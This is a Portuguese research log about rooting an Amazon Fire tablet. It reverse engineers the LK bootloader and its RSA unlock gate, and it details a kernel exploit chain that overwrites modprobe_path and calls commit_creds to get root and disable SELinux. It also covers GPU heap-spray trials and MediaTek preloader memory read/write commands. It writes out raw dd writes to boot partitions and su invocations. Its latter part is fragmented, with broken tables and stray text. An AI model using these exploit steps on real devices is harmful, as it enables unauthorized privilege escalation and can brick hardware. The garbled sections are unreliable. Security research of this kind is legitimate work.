`cache.img`, `boot0.img`, `boot1.img`, `adbd.bin`, `perfmonitord.bin`, `amazonfiled.bin`.
Helpers: `tools/findinitnet.py`, `findgadget*.py`, `findstores.py`, `adbd_sym.py` (em /tmp);
o repo tem `run.sh`, `poc/stage3.c` (`selroot`), `poc/su.c`, `rootcmd.sh`.

### Comandos úteis```
# IDME read
/data/metrics/su sh -p -c 'for f in fos_flags dev_flags usr_flags serial region device_type_id unlock_version; do echo -n "$f="; cat /proc/idme/$f; echo; done'
# write boot1 (root; su lives only until reboot -> re-run run.sh first)
/data/metrics/su sh -p -c 'echo 0 > /sys/block/mmcblk0boot1/force_ro; dd if=/data/local/tmp/boot1.img of=/dev/block/mmcblk0boot1 bs=4096 count=4; sync; echo 1 > /sys/block/mmcblk0boot1/force_ro'
# dump a partition to host
adb exec-out '/data/metrics/su dd if=/dev/block/by-name/lk bs=4096 2>/dev/null' > lk.img

SESSÃO 12 — LK RE: o portão eng/unlocked é real, e não existem armazenamentos de flag sem sinal

Objetivo: fazer o LK tratar o dispositivo como eng/unlocked, ou encontrar um bug no preloader/LK, para que verity/SELinux possam ser desativados de forma persistente. Resultado: revertido o caminho de código relevante do LK de ponta a ponta; a inversão não é alcançável pelos armazenamentos disponíveis. Nenhum dispositivo foi brickado; o único experimento com boot1 foi revertido ao estado original.

O LK é Thumb-2 PIC, realocado para a base 0xFF400000

lk.img começa com um pequeno stub ARM (arquivo 0x200). O realocador em 0x224 copia de 0x200 para um destino literal e desvia para uma entrada literal:

Portanto, endereço em tempo de execução = 0xFF400000 + offset no arquivo para offsets >= 0x200. Tudo após o stub é Thumb-2, independente de posição. As strings são construídas com ldr rT,[pc,#imm] (offset T1 = imm8*4; offset ldr.w = imm12) seguido de add rT, pc; o alvo é (add+4) + *pool. Um scanner robusto que sobrevive ao stub ARM e aos pools de literais foi adicionado como tools/lk_xref.py (lida com formas de 16 e 32 bits, varre a cada 2 bytes). Todos os offsets abaixo são offsets no arquivo; adicione 0xFF400000 para endereços em tempo de execução.

Fluxo de controle decodificado (offset -> significado)

O código de unlock é assinado com RSA da Amazon — não é forjável

0x20b4 lê o item IDME unlock_code (0x400 bytes, todos zero nesta unidade) e executa amzn_verify_unlock (0x222c -> 0x20f0). Essa função aciona o libtomcrypt (dezenas de caminhos /features/libtomcrypt/src/pk/asn1/der/... e verificação RSA), e a imagem incorpora o material do certificado: Sunnyvale / Amazon Lab126 / "$Common Kernel Signing Engineering CA0" em 0x317d9+, além dos diagnósticos Image FAILED AUTHENTICATION on PRODUCTION device (0x3166e), Authentication failed on engineering device with production certificate (0x316a0), Image FAILED AUTHENTICATION on ENGINEERING device (0x31703), Image AUTHENTICATED with PRODUCTION certificate (0x31736). Não há atalho de código vazio / comprimento / versão: verify(zeros) != 0, portanto (confirmado em ). Inverter ou requer ou um válido assinado pela Amazon (chave privada indisponível) ou um bug de execução de código no verificador. Nada explorável (limites/tamanho) foi encontrado estaticamente em 0x20b4/0x222c/0x20f0. =>

As flags de verity/SELinux não vêm de um armazenamento que existe

As flags de segurança são lidas através do getter em 0x57c. Teste empírico:```

boot1 IDME item fos_flags data (offset 0x22B4, 8 bytes) set to "00000080"

dd if=/dev/block/mmcblk0boot1 ... ; reboot /proc/idme/fos_flags -> 00000080 (persisted, Android sees it) ro.boot.veritymode -> eio (unchanged!) root=/dev/dm-0 dm="system none ro,0 1 android-verity PARTUUID=..." (unchanged) androidboot.prod=1 / secure_cpu=1 / buildvariant=user (unchanged)

root@kitploit:~
`fos_flags=0x80` é `FOS_FLAGS_DM_VERITY_OFF`; o gate descodificado teria desativado
o verity **se** o getter o tivesse devolvido.  Não o fez.  O gate está ativo, não é
código morto: o seu sentinela de cache de uso único é `-1` na imagem
(`*(u32*)0x50c74 == 0xffffffff`), pelo que a função realmente executou o
caminho `check_flag("fos_flags",0x80)` e obteve 0.  Portanto, o getter (pelo menos
no momento da proteção do verity) **não** está a ler os itens IDME do boot1.

O outro armazenamento candidato é o **LK env**, carregado de uma partição literalmente
chamada `"para"` (loader 0x12fd4, magic `ENV_v1`, checksum @0x3ffc).  A própria
tabela de partições do LK (0x4fcc0..0x50340) lista preloader/proinfo/nvram/protect1/
protect2/persist/seccfg/secro/**para**/logo/custom/expdb/tee1/tee2/metadata/
system/cache/userdata — mas a GPT real do tablet tem **apenas 16 entradas**, todas
do tipo `af3dc60f838472478e793d69d8477de4`:```
#0 proinfo 0x400   #1 PMT 0x1c00    #2 kb 0x4000     #3 dkb 0x4800
#4 lk 0x5000       #5 tee1 0x5800   #6 tee2 0x8000   #7 metadata 0xa800
#8 MISC 0x1e400   #9 reserved 0x1e800  #10 boot 0x22800  #11 recovery 0x2a800
#12 system 0x34800 #13 vendor 0x644000 #14 cache 0x6b4800 #15 userdata 0x7ae800

Não há nenhuma partição para, seccfg, nvram, protect ou persist neste produto (e os dumps de PMT/pmt.img são todos zeros). Portanto, o env do LK está vazio, as chaves Kfos_flags/Kdev_flags nunca existem, e todas as verificações de fos_flags/dev_flags resultam em 0 — independentemente do que os itens do IDME contêm. Os itens do IDME do boot1 são consumidos pelo Android (/init.fosflags.sh, adbd, /proc/idme/*) mas não pelos portões de segurança do LK.

Conclusão — por que o eng/unlock persistente está bloqueado

  1. unlocked_kernel requer um unlock_code assinado pela Amazon (RSA/libtomcrypt, CA embutida). Não é forjável offline; nenhum bug no verificador foi encontrado. Bloqueio rígido.
  2. As flags DM_VERITY_OFF / selinux=permissive são consumidas do env do LK (para/ENV_v1), que não existe neste GPT. O fos_flags do IDME é empiricamente ignorado pelo LK (0x80 persistido, verity permaneceu eio). Bloqueio rígido a menos que a tabela de partições seja modificada.
  3. Mesmo um fos_flags=0x80 bem-sucedido apenas definiria androidboot.veritymode= disabled e um root= não-dm-0; não desbloquearia, e o SELinux ainda precisaria de dev_flags do mesmo env ausente para ficar permissivo.

Caminhos restantes (futuros, de maior risco; não tentados)

  • Sintetizar um armazenamento para/ENV_v1: adicionar uma entrada GPT chamada para (GPT primário
    • de backup devem ambos ser atualizados) no espaço livre após userdata (userdata termina no LBA 0x3a3dfde; disco = 30535680 setores), então criar um env com fos_flags=0x80 e dev_flags=0x40 (checksum em +0x3ffc = soma de bytes sobre 0x3ffc). Esta é a única rota restante para verity-off. Riscos: corromper o GPT primário/de backup pode brickar; e não foi provado que o portão de verity realmente lê para (apenas que não é o IDME do boot1).
  • Bug do Preloader (boot0/EMMC_BOOT): não revertido nesta sessão. Escrever boot0 é proibido até que exista uma cópia pristine e um caminho de recuperação.
  • Pesquisa do verificador: o caminho do certificado de engenharia (0x316a0/0x31703) é alcançável apenas com uma identidade de dispositivo aceita como "engineering" mais um código assinado pela chave de engenharia; nenhuma chave privada está disponível.

Artefatos / reprodutibilidade

  • Ferramenta adicionada: tools/lk_xref.py — resolvedor de xref de strings do LK independente de base.
  • Dumps usados: /tmp/opencode/mustang-dumps/lk.img, boot1.img (pristine), boot0.img, mbr.img (GPT), pmt.img (todos zeros).
  • Imagem de experimento do boot1 (fos_flags=0x80) mantida em /tmp/opencode/s12/boot1_f80.img; dispositivo restaurado para boot1 pristine (verificado /proc/idme/fos_flags -> 0).

Comandos úteis (root necessário; re-armar com ./run.sh)```

re-arm runtime root (~1/3 per boot)

./run.sh --no-build

confirm LK's decisions without a UART

/data/metrics/su /system/bin/sh -p -c 'cat /proc/cmdline'

watch: root=/dev/dm-0 dm="system ... android-verity ..." (verity on)

androidboot.veritymode=eio ; androidboot.selinux=enforce ; prod=1

IDME read (Android copy; NOT what LK's gates use)

for f in fos_flags dev_flags usr_flags unlock_version serial; do cat /proc/idme/$f; echo; done

root@kitploit:~
## SESSÃO 13 — o preloader é acessível afinal (`1949:20ff` = preloader MTK, transporte HID)

Enquanto desligado e conectado ao USB, o tablet enumera como **`1949:20ff`**
(`Lab126`) — *não* Android e *não* a bootrom `0e8d:0003`.  Descritor:```
bInterfaceClass 3 (HID), iConfiguration "HID", iInterface "HID Interface"
HID report descriptor = 05 01 09 00 a1 01 c0   (empty collection!)
EP 0x81 IN  interrupt  4 bytes, bInterval 4
EP 0x01 OUT interrupt  4 bytes, bInterval 4
iSerial = GCC0X90805310009 (the IDME serial)

Identificação. 0x20FF está listado como "MTK Preloader" no config/usb_ids.py do mtkclient (sob o VID da MediaTek 0x0e8d: 0xe8d:{0x0003 Brom, 0x2000/0x2001/0x20ff/0x3000 Preloader}). A Amazon manteve o PID do preloader e alterou o VID para 0x1949, e apresenta-o como um par de endpoints HID com um descritor de relatório fictício. Portanto, este é o MediaTek preloader / modo USBDL, um estágio abaixo do LK — alcançado aqui por desligamento + conexão, não pelo curto do CMD.

As strings do descritor "HID"/"HID Interface" não estão presentes em lk.img, boot0.img, boot.img ou nos outros dumps, ou seja, o modo é produzido por um componente que não foi dumpado (bootrom/TEE) ou é montado em tempo de execução.

Por que isso importa. O preloader da Amazon usado pelo aftv2-tools expõe comandos integrados, sem Download-Agent, sobre este exato fluxo de bytes:``` handshake : host A0 0A 50 05 -> dev 5F F5 AF FA 0xD1 read32 (addr, n_words) : echo cmd/addr/n, 00 00, nu32, 00 00 0xD4 write32(addr, words[]) : echo cmd/addr/n, 00 00, nu32, 00 00

root@kitploit:~
`aftv2-tools/read_mmc.py` usa `read32`/`write32` para acessar o controlador MSDC
(base `0x11230000` no MT8173; verifique para MT8163) e ler/gravar **blocos eMMC
brutos** sem DA e, portanto, sem AVB/verity no caminho. Se o preloader do mustang
aceitar 0xD1/0xD4, esse é um caminho direto para desbloqueio persistente (patch em `boot` /
`lk`), independente do código de desbloqueio RSA e do ambiente LK ausente.

### Ferramentas adicionadas (necessário root; aplique chmod no nó USB primeiro)```
lsusb -d 1949:20ff                 # note Bus/Dev, e.g. Bus 001 Device 003
sudo chmod 666 /dev/bus/usb/001/003
# 1) does it answer the MTK handshake? (no DA, no flash access)
nix-shell -p python3Packages.pyusb --run \
    'python3 tools/mtk_preloader_hid.py handshake'
# 2) read-only arbitrary memory read
nix-shell -p python3Packages.pyusb --run \
    'python3 tools/mtk_preloader_hid.py read32 0x00100000 4'

tools/probe_preloader.py é a sonda mínima apenas de handshake; tools/mtk_preloader_hid.py é o transporte completo (handshake/read32/ write32; write32 está protegido e não deve ser usado até que o mapa de registradores da eMMC seja confirmado).

Status / próximos passos

  • Não confirmado: se o preloader do mustang realmente implementa 0xD1/0xD4 (a sonda de handshake decide isso). Se implementar, o caminho de leitura/escrita da eMMC do aftv2 provavelmente pode ser portado diretamente.
  • Depois: encontrar a base MSDC do MT8163 (DT do kernel ou preloader), despejar uma partição (read_mmc), então aplicar patch em boot.img/lk a partir do preloader e reiniciar.
  • Este é um estágio de boot inferior a tudo na SESSÃO 12, então não depende de amzn_verify_unlock nem do gate de ambiente do LK.
  • NÃO execute escritas do SP Flash Tool / mtkclient contra ele antes que o protocolo e o layout da eMMC sejam confirmados.
Baixar ferramenta
pi_blocked_on
  • O proxy waiter vive na própria pilha da thread waiter (futex.c:1975 passa this->rt_waiter, declarado em futex_wait_requeue_pi em futex.c:2880) → o waiter marca seu próprio frame liberado via select do arm32 (nr 142) fd_sets
  • Clima de exploração: sem KASLR (base fixa 0xc0008000), sem PAN, DEBUG_RT_MUTEXES desligado → rt_mutex_waiter compacto de 48 bytes (tree_entry@0, pi_tree_entry@0xc, task@0x18, lock@0x1c, prio@0x20, deadline@0x28)
  • Cadeia mínima: 2 write-slots → modprobe_path @ 0xc111488c (string auto-localizada em vmlinux; KALLSYMS_ALL desligado, então símbolos de dados precisam deste truque) → exec de binfmt desconhecido → script root (setenforce 0, desabilitar OTA, su)
  • Referências em refs/: NebuSec/CyberMeowfia (original), GhostLock-5.10 (porta para Fire OS 8, trigger ARM 32-bit completo em src/exp32/), ghostlock-...-4.19-k40 (porta Android Qualcomm 4.19)
  • Estágio 3: chamada arbitrária de função do kernel → ROOT (sessão 10)
    selroot
    selinux_state.enforcing
    commit_creds(&init_cred)
    uid=0
  • [_] Estágio 4: script root (su, permissive, OTA desligado) + persistência — root obtido; persistência bloqueada (veja SESSÃO 11): o LK condiciona verity-off/SELinux-permissive a eng/unlocked, o re-exploit no boot não tem executor viável. Próximo: reverter LK/amzn_verify_unlock.
  • Estágio 5: cadeia de boot de SO customizado
  • jc
    nr_extres
  • O resultado do alloc de JIT é escrito pelo kernel através de info->gpu_alloc_addr (um GPU VA que você deve pré-alocar e passar)
  • objeto evictávelpressãoresultado
    nenhum900 MBsobreviveu
    nenhum1300 MBpânico (bug de lowmem do sistema — não relacionado)
    região normal + DONT_NEED700 MBsobreviveu
    região JIT + DONT_NEED700 MBpânico no caminho de reclaim
  • kernel/config-* — dump de /proc/config.gz do dispositivo em execução
  • ksrc/ — código-fonte OSS da Amazon (platform.tar + árvore midgard-r26p0 extraída)
  • OTA: /tmp/opencode/mustang_ota.bin (sha256 6068515a… corresponde ao fireos-archive) e tarball de código-fonte do kernel de 2.2 GB mantido em ~/Desktop/amazon-mustang/
  • Caminho da árvore de código-fonte: ksrc/kernel/mediatek/mt8163/4.9/drivers/misc/mediatek/gpu/gpu_mali/mali_midgard/midgard-r26p0/
  • sprayers de rename concorrentes durante a tempestade
    renames travam (journal/GFP_NOFS) → 128 total → deref de lixo
    pré-drenar 12K eventos + pressão + pequeno trailingcrash no deref
    + kill-child-na-evicção (poll de 10ms)crash no deref
    + ciclo-de-vida fixado em cpu0 (drain3)crash no deref
    pressão escalonada (drain4 v1)filhos liberaram memória ao sair → sem evicção (caminho legal validado)
    execuçãoresultado
    pmap G=c2a412a4 400MBcrash no deref
    pmap G=c2f4b2a4 480MBcrash; +0 renames pós-kill (480MB sufoca o fs)
    iso2 (spray + regiões + oráculo)ACERTO DE REGIÃO — spray não quebra o reclaim
    mix v1 (eventos+regiões concorrentes)crash; confundido (threads de evento em spin)
    pmap G=c2a7d2a4 350MB + retouchcrash; +4452 renames OK
    mix2 (sequencial: 2s eventos ENTÃO regiões)crash; +7126 renames (28K alocações de evento), 2715 regiões
    fn
    fn=0
    no endereço da cell
    PM_PAGE+NF_CELL_OFF
    probe
  • O mapa direto do physmap é XN acima de kernel_x_end: arch/arm/mm/mmu.c map_lowmem() mapeia lowram abaixo do texto do kernel como MT_MEMORY_RWX, mas tudo acima de kernel_x_end como MT_MEMORY_RW → PMD_SECT_XN (linha 509). Shellcode embutido em 0xc154b600 dá prefetch-abort. O payload deve ser um ponteiro de função real do kernel, não código no physmap.
  • literal (off no arquivo)valorsignificado
    0x2700xFF4002F8scratch de str r4,[r6]
    0x2740xFF40027Cdestino (base+0x27C)
    0x2780xFF54A440fim da cópia (incl. BSS)
    0x27C0xFF400484ponto de entrada
    offsetfunção
    0xdf7cis_secure_or_prod() -> byte[ [[g]+0 ] + 0x163 ]; g = global @0x52838. 1 nesta unidade.
    0x20b4verify_stored_unlock() = memset(buf,0,0x100); lê IDME/env unlock_code (0x100) via 0x57c; bl 0x222c; retorna (verify==0).
    0x222c / 0x20f0amzn_verify_unlock(code,len) — verificação RSA/PKCS#1 do libtomcrypt (ver abaixo).
    0xda3eis_unlocked() = is_secure_or_prod() && verify_stored_unlock().
    0x29a28is_verity_disabled() = (fos_flags & 0x80) && !(is_secure_or_prod() && verify_stored_unlock()); armazenado em cache no global @0x50c74.
    0x29974Construtor da cmdline do SELinux: dev_flags & 0x20 -> androidboot.selinux=enforce, dev_flags & 0x40 -> ...=permissive (cada um controlado por byte[+0x162]).
    0x118xx/0x11bxxconstrutor da cmdline do kernel (unlocked_kernel, prod=1/0, verifiedbootstate, rpmb_state, secure_cpu, versões, root=).
    0x27af8Portão da UART: fos_flags & 0x4 -> printk.disable_uart=0, senão =1.
    0x12fd4Carregador de env do LK: partição "para", 0x4000 bytes, magic ENV_v1, checksum = soma dos bytes sobre 0x3ffc comparada à word @0x3ffc.
    0x1efd0busca de partição por nome (usada para "para", "boot", ...).
    0x57cdespachante de getter através do slot de callback @0x58218; slots @0x58200..0x5821c são registrados a partir de uma tabela em 0x5a8-0x734.
    0x2a19cfastboot oem unlock: bl 0x222c(code,len); em caso de sucesso grava unlock_code (0x100) via 0x408.
    unlocked_kernel=false
    /proc/cmdline
    androidboot.unlocked_kernel
    androidboot.prod
    unlock_code
    a inversão eng/unlocked pelo caminho documentado é criptograficamente inviável.
  • A Trilha A (re-exploit no boot) portanto permanece bloqueada exatamente como na SESSÃO 11: seu único caminho de desbloqueio é o mesmo portão do LK.